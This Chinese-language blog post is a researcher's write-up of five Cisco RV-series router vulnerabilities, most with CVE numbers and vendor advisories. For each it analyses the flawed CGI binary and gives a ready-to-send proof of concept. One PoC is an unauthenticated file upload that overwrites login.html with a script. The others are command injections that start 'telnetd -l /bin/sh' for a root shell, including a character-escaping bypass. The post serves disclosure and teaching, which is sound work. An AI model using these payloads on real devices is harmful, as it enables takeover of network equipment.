思科企业级路由器0day漏洞挖掘
前言
写这篇文章的初衷是因为有很多师傅问我:零基础小白该如何入手挖设备的二进制洞?很多师傅也许会觉得这是一件很困难的事情。读了这篇文章之后,我相信大家应该能体会到即使像思科这种全球头部大厂也是有很多很水的洞是可以很容易挖到的。
今年年初2月份的时候,笔者对美国思科RV
系列部分型号的企业级网关路由器进行了漏洞挖掘,并拿到了多份思科官方的致谢以及获批了多个中高危的CVE
漏洞编号。
笔者在此借这篇文章选择了五个漏洞,简单分享一下这些漏洞的细节以及相关漏洞挖掘经验。由于时间仓促,事情也比较多,笔者之前仅选择了较新的RV34x
以及RV32x
系列(和类似的RV0xx
系列)设备最新固件对浅层的漏洞进行了挖掘,并未深入,主打一个水编号和混致谢。
希望本文能够给刚入门IoT
安全,想要挖洞但不知如何入手的师傅们带来些帮助。由于篇幅有限,固件仿真模拟等相关内容就不展开了,师傅们可以自行尝试。最后也请各位大师傅们看到我的垃圾洞轻喷。
更多可公开的低质量垃圾漏洞:https://github.com/winmt/my-vuls,品相较好的洞后面也许会写文章再放出来相关细节。
CVE-2023-20073
漏洞描述
Cisco RV340
,RV340W
,RV345
和RV345P
型号的企业路由器最新版固件中存在一个未授权任意文件上传漏洞,未授权攻击者可通过该漏洞上传并覆写文件,造成存储型XSS
攻击等危害。
思科安全通告:https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sb-rv-afu-EXxwA65V.html
漏洞细节
在配置文件/etc/nginx/conf.d/rest.url.conf
中,我们注意到当访问/api/operations/ciscosb-file:form-file-upload
的时候,仅仅检查了 Authorization
字段是否为空。
如果Authorization
字段不为空,我们可以上传文件到/tmp/upload
文件夹,并最终通过/form-file-upload
调用uwsgi
去执行upload.cgi
。
在二进制文件/www/cgi-bin/upload.cgi
中,首先对multipart/form-data
表单类型的POST
请求报文进行了解析,通过boundary=
获取分隔符。
接着,将POST
报文中的字段存入相关变量中。例如,pathparam
和fileparam
字段的内容被存入了v30
和v31
变量中。
然后,通过分离Cookie
中的sessionid=xxx
获得session
值。
然而,我们可以直接不经过session
值的校验检查就进入sub_115EC
函数(这里第一个参数是pathparam
字段,第三个参数是fileparam
字段)。
在sub_115EC
函数中, 当a1
(即pathparam
字段的内容)为Portal
时,我们可以强制移动之前未经授权上传的文件到/tmp/www
目录下。
此外,在/www
目录下,index.html
和login.html
文件都是/tmp/www
目录下同名文件的软链接。
总之,攻击者可以通过该漏洞不经过权限验证上传任意文件并覆写login.html
,index.html
和其他配置文件,造成如存储型XSS
攻击的危害。
Poc
按照上文漏洞细节描述,容易写出如下攻击报文:
------hacked-by-winmt------
Content-Disposition: form-data; name="pathparam"
Portal
------hacked-by-winmt------
Content-Disposition: form-data; name="fileparam"
login.html
------hacked-by-winmt------
Content-Disposition: form-data; name="file"; filename="login.html"
Content-Type: application/octet-stream
<title>Hacked by winmt!</title>
<script>alert('Hacked by winmt!')</script>
------hacked-by-winmt------
攻击演示
攻击前,访问/login.html
页面正常。
按照上述Poc
,覆写login.html
为如下内容攻击(尽管显示Error Input
,攻击仍然是成功进行的)。
<title>Hacked by winmt!</title>
<script>alert('Hacked by winmt!')</script>
攻击后,访问/login.html
页面,可以看到页面已被我们任意篡改,造成了存储型XSS
攻击。
CVE-2023-20117
漏洞描述
Cisco RV320
和RV325
系列企业级路由器最新固件中存在一个命令注入漏洞。通过身份验证的攻击者可通过该漏洞执行任意命令,获取设备的最高控制权。
思科安全通告:https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sb-rv32x-cmdinject-cKQsZpxL.html
漏洞细节
在二进制文件/usr/local/EasyAccess/www/cgi-bin/ssi.cgi
的NK_UiConfNeedPasswd
函数中,对md5_password
字段过滤不严,并没有过滤\n
和\r
命令分隔符。
之后,在满足判断条件后,md5_password
将会被拼接入acStack_340
变量中,并直接作为命令被system
函数执行。
简单查找一下关键字,即可知道该漏洞触发的入口在/sys_setting.htm
:
Poc
访问/sys_setting.htm
并触发refresh
操作时抓包,将POST
报文中md5_password
字段内容修改如下(表单数据直接换行即可):
11
telnetd -l /bin/sh
攻击演示
按上述Poc
发送请求报文,开启telnet
服务:
直接通过telnet
远程登录,获得root shell
:
CVE-2023-20118
漏洞描述
这其实是一组漏洞,相似的有很多,不过只统一分配了一个
CVE
编号,笔者这里也随便挑选一个来分析。
Cisco RV320
和RV325
系列(以及RV016, RV042, RV042G, RV082
系列)企业级路由器最新固件中存在一个命令注入漏洞。通过身份验证的攻击者可通过该漏洞执行任意命令,获取设备的最高控制权。
思科安全通告:https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sbr042-multi-vuln-ej76Pke5.html
漏洞细节
该漏洞存在于 **/usr/local/EasyAccess/www/cgi-bin/config.exp
二进制文件中,并同样存在于相似的/usr/local/EasyAccess/www/cgi-bin/config_mirror.exp
**文件中。
在主函数中,可见当我们的请求中包含export_cert&
字符串时,将进入exportconfig_CertFile
函数。
在exportconfig_CertFile
函数中,当最后一个&
后面的内容是MY_CA
, 第二个和第三个&
之间的内容将会被拼接入acStack1088
变量,并作为system
函数的参数执行命令。
Poc
然而,在实际测试中,我们发现这些设备过滤(转义)了空格,不过可以用**${IFS}
**来代替。
以POST
请求向https://192.168.1.1/cgi-bin/config.exp?export_cert&abc&;/usr/sbin/telnetd${IFS}-l${IFS}/bin/sh;&abc&MY_CA
发送任意内容的报文。
或者:以POST
请求向https://192.168.1.1/cgi-bin/config_mirror.exp?export_cert&abc&;/usr/sbin/telnetd${IFS}-l${IFS}/bin/sh;&abc&MY_CA
发送任意内容的报文。
攻击演示
按照上述Poc
发送请求报文:
攻击后,可以通过telnet
远程登录设备并获得了设备的最高控制权:
CVE-2023-20128
漏洞描述
Cisco RV320
和RV325
系列企业级路由器最新固件中存在一个命令注入漏洞。通过身份验证的攻击者可通过该漏洞执行任意命令,获取设备的最高控制权。
思科安全通告:https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sb-rv32x-cmdinject-cKQsZpxL.html
漏洞细节
该漏洞存在于**/usr/local/EasyAccess/www/cgi-bin/import_config.cgi
**二进制文件中。
在main
函数中,POST
报文中的前两个表单数据字段通过两组fgets
函数读取(每组读取四行,作为表单数据字段)。当form-data
的第一个字段为1
时,第二个字段中;
之后的内容被拼接入 acStack1144
变量中,并作为参数传递给upgradefromusb
函数。
在upgradefromusb
函数中,首先通过FUN_120003860
函数在传递的参数中(
和)
之前添加\
转义(不过对该漏洞利用并没有影响)。然后,将处理后的内容直接拼接入acStack808
变量中,并作为system
的参数执行,而未进行任何检查。
综上,攻击者可以在POST
请求报文中表单数据的第二个字段的;
后面注入任意命令并执行。
Poc
发送如下POST
请求报文即可(注意用${IFS}
代替空格):
POST /cgi-bin/import_config.cgi HTTP/1.1
Host: 192.168.1.1
Cookie: mlap=ZfRSjTJvVhNsYLzAUrxDcg==
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------16897455311731203775484527323
Content-Length: 330
Origin: https://192.168.1.1
Referer: https://192.168.1.1/sys_setting.htm
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------16897455311731203775484527323
Content-Disposition: form-data; name="submitrestoreconfig"
1
-----------------------------16897455311731203775484527323
Content-Disposition: form-data; name="USBconfigfile"
USB1;;telnetd${IFS}-l${IFS}/bin/sh;
-----------------------------16897455311731203775484527323--
攻击演示
发送上述Poc
报文:
攻击后,可远程登录设备并获得root
权限:
某内部已知漏洞
漏洞描述
Cisco RV0xx
系列的设备和Cisco RV32x
系列的设备固件部分结构相似,于是我也看了下,不过这个漏洞在上报之后得到了厂商的回复:这是一个内部已知的漏洞。个人感觉这个漏洞的绕过相对前几个还复杂些,没想到反而撞洞了2333
Cisco RV016, RV042, RV042G, RV082
系列企业级路由器最新固件中存在一个命令注入漏洞。通过身份验证的攻击者可通过该漏洞执行任意命令,获取设备的最高控制权。
漏洞细节
二进制文件**/usr/local/EasyAccess/www/cgi-bin/ssi.cgi
**中存在漏洞。
在NK_SNMPUpdate
函数中,POST
报文中的snmp_Mib2SysName
字段内容存放在acStack1622
变量中。当acStack1622
变量中不包含特定的危险字符,则将会被拼接入acStack1110
字符串中,并用system
函数执行命令。
然而,危险字符\n
和\r
在此处并未被过滤。但是在实际测试中,可以发现这个系列的设备会将某些字符进行转义,如代表\n
的%0a
将会被转为%2a
, 即*
符号。根据这个转义规则,容易得到**%ea
将会被转义为我们需要的\n
**;类似地,空格符%20
也会被转义为其他字符。幸运的是,Tab符%09
可以替代空格符,并且%09
在这里不会被转义。因此,我们可以注入形如 **%ea/usr/sbin/telnetd%09-l%09/bin/sh%ea
**的命令绕过这个转义操作。
同理,snmp_Mib2SysContact
和snmp_Mib2SysLocation
字段中也可注入命令触发同样的漏洞。
Poc
发送如下报文,在snmp_Mib2SysName
, snmp_Mib2SysContact
和snmp_Mib2SysLocation
字段中注入恶意命令。
POST /sys_snmp.htm HTTP/1.1
Host: 192.168.1.1
Cookie: mlap=FqgbQ5aBA5wTvwGiB8wRcQ==
Content-Length: 249
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.1.1/sys_snmp.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
page=sys_snmp.htm&submitStatus=1&log_ch=1&snmpStatusChange=1&snmpStatus=0&snmp_Mib2SysName=router61120c%ea/usr/sbin/telnetd%09-l%09/bin/sh%09-p%091111%ea&snmp_Mib2SysContact=winmt%ea/usr/sbin/telnetd%09-l%09/bin/sh%09-p%092222%ea&snmp_Mib2SysLocation=winmt%ea/usr/sbin/telnetd%09-l%09/bin/sh%09-p%093333%ea&snmp_GetCommunity=public&snmp_SetCommunity=private&snmp_TrapCommunity=public&snmp_SendTrap=
攻击演示
发送上述Poc
中的请求报文。
攻击后,可通过远程登录控制设备(2222
和3333
端口也可以)。